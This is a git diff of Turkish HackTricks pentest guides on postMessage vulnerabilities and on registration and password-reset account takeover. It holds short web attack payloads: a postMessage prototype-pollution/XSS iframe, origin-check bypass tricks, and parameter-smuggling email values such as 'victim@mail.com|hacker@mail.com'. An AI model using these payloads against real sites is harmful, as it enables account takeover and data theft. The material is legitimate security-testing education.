AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -17,19 +17,6 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## **PostMessage** Gönder ## **PostMessage** Gönder
@ -60,12 +47,12 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*') win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
``` ```
Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL olabilir.\ Not edin ki **targetOrigin** bir '\*' veya _https://company.com_ gibi bir URL olabilir.\
**İkinci senaryoda**, **mesaj yalnızca o domaine gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\ **İkinci senaryoda**, **mesaj yalnızca o alana gönderilebilir** (pencere nesnesinin kökeni farklı olsa bile).\
Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir. Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir alana gönderilebilir** ve Pencere nesnesinin kökenine gönderilecektir.
### iframe'ı hedef alma & **targetOrigin**'de joker karakter ### iframe'leri hedef alma & **targetOrigin**'de joker karakter
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframelenebilen** (hiçbir `X-Frame-Header` koruması olmayan) ve **duyarlı** mesajı **postMessage** aracılığıyla **joker karakter** (\*) kullanarak **gönderen** bir sayfa bulursanız, **iframe**'in **kökenini** **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\ [**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframelenebilen** (hiçbir `X-Frame-Header` koruması olmayan) ve **duyarlı** mesajı **postMessage** aracılığıyla **joker karakter** (\*) kullanarak **gönderen** bir sayfa bulursanız, **iframe**'in **kökenini** **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir alana **sızdırabilirsiniz**.\
Eğer sayfa iframelenebiliyorsa ancak **targetOrigin** **bir URL'ye ayarlandıysa ve joker karaktere değilse**, bu **numara çalışmayacaktır**. Eğer sayfa iframelenebiliyorsa ancak **targetOrigin** **bir URL'ye ayarlandıysa ve joker karaktere değilse**, bu **numara çalışmayacaktır**.
```markup ```markup
<html> <html>
@ -93,11 +80,11 @@ return;
// ... // ...
}, false); }, false);
``` ```
Not edin ki bu durumda kodun yaptığı **ilk şey** **origin'i kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas şey** yapılacaksa son derece **önemlidir** (örneğin bir şifre değiştirmek gibi). **Eğer origin'i kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte). Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas şey** yapılacaksa son derece **önemlidir** (örneğin bir şifre değiştirmek gibi). **Eğer kaynağı kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte).
### Sayım ### Sayım
Mevcut sayfadaki **olay dinleyicilerini bulmak için** şunları yapabilirsiniz: Mevcut sayfadaki **olay dinleyicilerini bulmak** için şunları yapabilirsiniz:
* **JS kodunda** `window.addEventListener` ve `$(window).on` (_JQuery versiyonu_) için **arama yapın** * **JS kodunda** `window.addEventListener` ve `$(window).on` (_JQuery versiyonu_) için **arama yapın**
* Geliştirici araçları konsolunda **şunu çalıştırın**: `getEventListeners(window)` * Geliştirici araçları konsolunda **şunu çalıştırın**: `getEventListeners(window)`
@ -110,21 +97,21 @@ Mevcut sayfadaki **olay dinleyicilerini bulmak için** şunları yapabilirsiniz:
* [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) veya [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) gibi bir **tarayıcı uzantısı** kullanın. Bu tarayıcı uzantıları **tüm mesajları yakalar** ve size gösterir. * [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) veya [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) gibi bir **tarayıcı uzantısı** kullanın. Bu tarayıcı uzantıları **tüm mesajları yakalar** ve size gösterir.
### Origin kontrolü atlamaları ### Kaynak kontrolü atlatmaları
* **`event.isTrusted`** niteliği güvenli kabul edilir çünkü yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için `True` döner. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir. * **`event.isTrusted`** niteliği güvenli kabul edilir çünkü yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için `True` döner. Doğru bir şekilde uygulanırsa atlatılması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.
* PostMessage olaylarında origin doğrulaması için **`indexOf()`** kullanımı atlamaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek: * PostMessage olaylarında kaynak doğrulaması için **`indexOf()`** kullanımı atlatmaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
```javascript ```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma") ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
``` ```
* `String.prototype.search()`'ten gelen **`search()`** metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, yöntemi potansiyel olarak güvensiz hale getiren regex'e örtük dönüşüme yol açar. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin vermesidir. Örneğin: * `String.prototype.search()`'ten **`search()`** metodu, düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, metodun potansiyel olarak güvensiz hale gelmesine neden olan regex'e örtük dönüşüme yol açar. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlatılmasına olanak tanımasıdır. Örneğin:
```javascript ```javascript
"https://www.safedomain.com".search("www.s.fedomain.com") "https://www.safedomain.com".search("www.s.fedomain.com")
``` ```
* **`match()`** fonksiyonu, `search()` ile benzer şekilde regex'i işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir. * **`match()`** fonksiyonu, `search()` ile benzer şekilde regex'i işler. Eğer regex yanlış yapılandırılmışsa, atlatmaya karşı hassas olabilir.
* **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu, aşağıdaki örneklerde gösterilmektedir: * **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğinin `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu, aşağıdaki örneklerde gösterilmektedir:
* Beklenen Hata: * Beklenen Hata:
@ -141,16 +128,16 @@ result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\" result.message; // "'"<b>\"
``` ```
Bu zayıflık bağlamında, `File` nesnesi, salt okunur `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez, bu da potansiyel güvenlik risklerine yol açar. Bu zayıflık bağlamında, `File` nesnesi, yalnızca okunabilir `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
* JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir, bu da aynı üst alan adı içinde daha gevşek bir aynı-origin politikası uygulanmasına olanak tanır. * JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir, bu da aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.
### e.origin == window.origin atlaması ### e.origin == window.origin atlatması
Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in origin'inin null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox özellikleri** ile ilgili güvenlik ve işlevsellik üzerindeki etkileriyle özellikle önemlidir. Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox nitelikleri** ile güvenlik ve işlevsellik üzerindeki etkileriyle ilgilenirken özellikle önemlidir.
**`allow-popups`** özelliğini sandbox niteliğinde belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin origin'inin de `null` olarak ayarlandığı anlamına gelir, bu da iframe'in origin'i ile uyumlu hale gelir. **`allow-popups`** niteliklerini belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağı ile uyumludur.
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının origin'leri `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru değerlendirilmesine yol açar (`null == null`), çünkü hem iframe hem de açılır pencere aynı `null` origin değerini paylaşır. Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru değerlendirilmesine yol açar (`null == null`), çünkü hem iframe hem de açılır pencere aynı `null` kaynak değerini paylaşır.
Daha fazla bilgi için **okuyun**: Daha fazla bilgi için **okuyun**:
@ -158,16 +145,16 @@ Daha fazla bilgi için **okuyun**:
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md) [bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
{% endcontent-ref %} {% endcontent-ref %}
### e.source atlaması ### e.source atlatma
Mesajın, script'in dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle **tarayıcı uzantılarından gelen İçerik Scriptleri** için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir): Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle **tarayıcı uzantılarından içerik scriptleri** için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):
```javascript ```javascript
// If its not, return immediately. // If its not, return immediately.
if( received_message.source !== window ) { if( received_message.source !== window ) {
return; return;
} }
``` ```
**`e.source`**'u null yapmak için, **postMessage** gönderen ve **hemen silinen** bir **iframe** oluşturabilirsiniz. **`e.source`**'un bir mesajın null olmasını sağlamak için, **postMessage** gönderen ve **hemen silinen** bir **iframe** oluşturabilirsiniz.
Daha fazla bilgi için **şunu okuyun:** Daha fazla bilgi için **şunu okuyun:**
@ -178,7 +165,7 @@ Daha fazla bilgi için **şunu okuyun:**
### X-Frame-Header atlatma ### X-Frame-Header atlatma
Bu saldırıları gerçekleştirmek için ideal olarak **kurban web sayfasını** bir `iframe` içine alabilmeniz gerekir. Ancak `X-Frame-Header` gibi bazı başlıklar bu **davranışı** **engelleyebilir**.\ Bu saldırıları gerçekleştirmek için ideal olarak **kurban web sayfasını** bir `iframe` içine alabilmeniz gerekir. Ancak `X-Frame-Header` gibi bazı başlıklar bu **davranışı** **engelleyebilir**.\
Bu senaryolarda, daha az gizli bir saldırı kullanabilirsiniz. Zayıf web uygulamasına yeni bir sekme açarak onunla iletişim kurabilirsiniz: Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
```markup ```markup
<script> <script>
var w=window.open("<url>") var w=window.open("<url>")
@ -187,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
``` ```
### Ana sayfayı engelleyerek çocuğa gönderilen mesajı çalmak ### Ana sayfayı engelleyerek çocuğa gönderilen mesajı çalmak
Aşağıdaki sayfada, veriyi göndermeden önce **ana** sayfayı **engelleyerek** bir **çocuk iframe**'ine gönderilen **hassas postmessage verisini** nasıl çalabileceğinizi görebilirsiniz ve verinin alınmadan önce **çocukta bir XSS** kullanarak **sızdırılmasını** istismar edebilirsiniz: Aşağıdaki sayfada, **veriyi göndermeden önce** **ana** sayfayı **engelleyerek** bir **çocuk iframe**'ine gönderilen **hassas postmessage verisini** nasıl çalabileceğinizi görebilirsiniz ve **çocukta bir XSS** kullanarak veriyi **sızdırabilirsiniz**:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} {% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md) [blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
@ -195,19 +182,19 @@ Aşağıdaki sayfada, veriyi göndermeden önce **ana** sayfayı **engelleyerek*
### iframe konumunu değiştirerek mesaj çalmak ### iframe konumunu değiştirerek mesaj çalmak
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu** **değiştirebilirsiniz**, böylece bir **wildcard** kullanarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendi kontrolündeki bir sayfaya **değiştirebilir** ve mesajı **çalabilir**: X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu** **değiştirebilirsiniz**, böylece eğer bir **wildcard** kullanılarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendisinin **kontrol ettiği** bir sayfaya **değiştirebilir** ve mesajı **çalabilir**:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} {% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md) [steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
{% endcontent-ref %} {% endcontent-ref %}
### postMessage ile Prototip Kirlenmesi ve/veya XSS ### postMessage ile Prototip Kirliliği ve/veya XSS
`postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı** **iframe**'leyebilir ve **prototip kirlenmesi/XSS** istismarını `postMessage` aracılığıyla gönderebilirsiniz. `postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı iframe'leyebilir** ve **prototip kirliliği/XSS**'yi **postMessage** aracılığıyla gönderilen istismar ile **sömürebilirsiniz**.
`postMessage` ile **çok iyi açıklanmış XSS örnekleri** [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) adresinde bulunabilir. [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) adresinde **postMessage** aracılığıyla **Prototip Kirliliği ve ardından XSS**'yi istismar etmek için çok iyi açıklanmış birkaç **XSS örneği** bulunmaktadır.
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirlenmesi ve ardından XSS** istismar etmek için bir örnek: Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirliliği ve ardından XSS**'yi istismar etmek için bir örnek:
```html ```html
<html> <html>
<body> <body>
@ -235,21 +222,10 @@ For **daha fazla bilgi**:
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* Pratik yapmak için: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) * Pratik yapmak için: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **çözümlenmiş** olup olmadığını kontrol etmek için **ücretsiz** işlevler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,8 +1,8 @@
# Kayıt & Ele Geçirme Açıkları # Kayıt & Ele Geçirme Açıkları
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -10,24 +10,11 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **zararlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan bir **karanlık ağ** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan zararlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Kayıt Ele Geçirme ## Kayıt Ele Geçirme
@ -39,7 +26,7 @@ Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
* \+1@ * \+1@
* e-postada bazı noktalar ekleyin * e-postada bazı noktalar ekleyin
* e-posta adında özel karakterler (%00, %09, %20) * e-posta adında özel karakterler (%00, %09, %20)
* E-postadan sonra siyah karakterler koyun: `test@test.com a` * E-postadan sonra siyah karakterler ekleyin: `test@test.com a`
* victim@gmail.com@attacker.com * victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com * victim@attacker.com@gmail.com
@ -54,7 +41,7 @@ Bu durumda kimlik bilgilerini brute force ile denemeyi deneyebilirsiniz.
### SQL Enjeksiyonu ### SQL Enjeksiyonu
[**Bu sayfayı kontrol edin**](sql-injection/#insert-statement) kayıt formlarında hesap ele geçirmeleri veya bilgi çıkarmak için **SQL Enjeksiyonları** ile nasıl deneme yapacağınızı öğrenmek için. [**Bu sayfayı kontrol edin** ](sql-injection/#insert-statement) kayıt formlarında hesap ele geçirme veya bilgi çıkarma girişiminde bulunmak için **SQL Enjeksiyonları** hakkında bilgi edinmek için.
### Oauth Ele Geçirmeleri ### Oauth Ele Geçirmeleri
@ -74,9 +61,9 @@ Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin d
### Daha Fazla Kontrol ### Daha Fazla Kontrol
* **geçici e-postalar** kullanıp kullanamayacağınızı kontrol edin * **tek kullanımlık e-postalar** kullanıp kullanamayacağınızı kontrol edin
* **Uzun** **şifre** (>200) **DoS**'ye yol açar * **Uzun** **şifre** (>200) **DoS**'ye yol açar
* **Hesap oluşturma üzerindeki hız limitlerini kontrol edin** * **Hesap oluşturma üzerindeki hız sınırlarını kontrol edin**
* username@**burp\_collab**.net kullanın ve **callback**'i analiz edin * username@**burp\_collab**.net kullanın ve **callback**'i analiz edin
## **Şifre Sıfırlama Ele Geçirme** ## **Şifre Sıfırlama Ele Geçirme**
@ -86,7 +73,7 @@ Kayıtlı olduğunuzda e-postayı değiştirmeyi deneyin ve bu değişikliğin d
1. E-posta adresinize şifre sıfırlama talep edin 1. E-posta adresinize şifre sıfırlama talep edin
2. Şifre sıfırlama bağlantısına tıklayın 2. Şifre sıfırlama bağlantısına tıklayın
3. Şifreyi değiştirmeyin 3. Şifreyi değiştirmeyin
4. Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, twitter) 4. Herhangi bir 3. parti web sitesine tıklayın (örneğin: Facebook, Twitter)
5. Burp Suite proxy'sinde isteği yakalayın 5. Burp Suite proxy'sinde isteği yakalayın
6. Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin. 6. Referer başlığının şifre sıfırlama token'ını sızdırıp sızdırmadığını kontrol edin.
@ -117,38 +104,38 @@ email=victim@mail.com|hacker@mail.com
``` ```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a> ### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Saldırgan, hesabıyla giriş yapmalı ve **Şifreyi Değiştir** özelliğine gitmelidir. 1. Saldırgan, kendi hesabıyla giriş yapmalı ve **Şifreyi Değiştir** özelliğine gitmelidir.
2. Burp Suite'i başlatın ve isteği yakalayın. 2. Burp Suite'i başlatın ve isteği yakalayın.
3. Tekrarlayıcı sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\ 3. Tekrarlayıcı sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı ID/e-posta\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a> ### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
Şifre sıfırlama jetonu her seferinde rastgele üretilmeli ve benzersiz olmalıdır.\ Şifre sıfırlama token'ı her seferinde rastgele üretilmeli ve benzersiz olmalıdır.\
Jetonun süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir. Token'ın süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
* Zaman damgası * Zaman damgası
* Kullanıcı ID'si * Kullanıcı ID
* Kullanıcının E-postası * Kullanıcının E-postası
* Ad ve Soyad * Ad ve Soyad
* Doğum Tarihi * Doğum Tarihi
* Kriptografi * Kriptografi
* Sadece sayı * Sadece sayı
* Küçük jeton dizisi (karakterler arasında \[A-Z,a-z,0-9]) * Küçük token dizisi (karakterler arasında \[A-Z,a-z,0-9])
* Jeton tekrar kullanımı * Token tekrar kullanımı
* Jetonun son kullanma tarihi * Token son kullanma tarihi
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a> ### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com 1. Belirli bir e-posta için API/UI kullanarak bir şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin. 2. Sunucu yanıtını inceleyin ve `resetToken` kontrol edin.
3. Ardından, jetonu `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` gibi bir URL'de kullanın. 3. Ardından token'ı şu URL'de kullanın: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a> ### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
